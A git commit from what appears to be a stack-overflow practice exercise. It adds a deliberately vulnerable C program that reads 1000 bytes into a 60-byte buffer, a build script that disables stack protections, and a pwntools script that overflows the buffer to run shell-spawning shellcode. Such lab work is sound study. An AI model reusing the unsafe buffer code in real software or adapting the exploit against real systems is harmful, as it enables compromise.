Finished stackoverflow/no-protection
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,3 +1,6 @@
|
|||||||
|
# gdb
|
||||||
|
.gdb_history
|
||||||
|
|
||||||
# Prerequisites
|
# Prerequisites
|
||||||
*.d
|
*.d
|
||||||
|
|
||||||
|
|||||||
15
stackoverflow/no-protection/answer.py
Normal file
15
stackoverflow/no-protection/answer.py
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env python2
|
||||||
|
from pwn import *
|
||||||
|
from LibcSearcher import *
|
||||||
|
import os
|
||||||
|
context.log_level="debug"
|
||||||
|
context(arch="amd64",os="linux")
|
||||||
|
|
||||||
|
p=process('./hello')
|
||||||
|
shellcode=asm(shellcraft.sh())
|
||||||
|
len_sc=len(shellcode)
|
||||||
|
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
|
||||||
|
with open('payload.txt', 'w') as f:
|
||||||
|
f.write(payload)
|
||||||
|
p.sendline(payload)
|
||||||
|
p.interactive()
|
||||||
2
stackoverflow/no-protection/compile.sh
Executable file
2
stackoverflow/no-protection/compile.sh
Executable file
@@ -0,0 +1,2 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie
|
||||||
BIN
stackoverflow/no-protection/hello
Executable file
BIN
stackoverflow/no-protection/hello
Executable file
Binary file not shown.
13
stackoverflow/no-protection/hello.c
Normal file
13
stackoverflow/no-protection/hello.c
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
void SayHello(void){
|
||||||
|
char tmpName[60];
|
||||||
|
read(0, tmpName, 1000);
|
||||||
|
printf("Hello %s\n", tmpName);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char** argv){
|
||||||
|
SayHello();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
stackoverflow/no-protection/payload.txt
Normal file
BIN
stackoverflow/no-protection/payload.txt
Normal file
Binary file not shown.
2
stackoverflow/no-protection/peda-session-hello.txt
Normal file
2
stackoverflow/no-protection/peda-session-hello.txt
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
break SayHello
|
||||||
|
|
||||||
Reference in New Issue
Block a user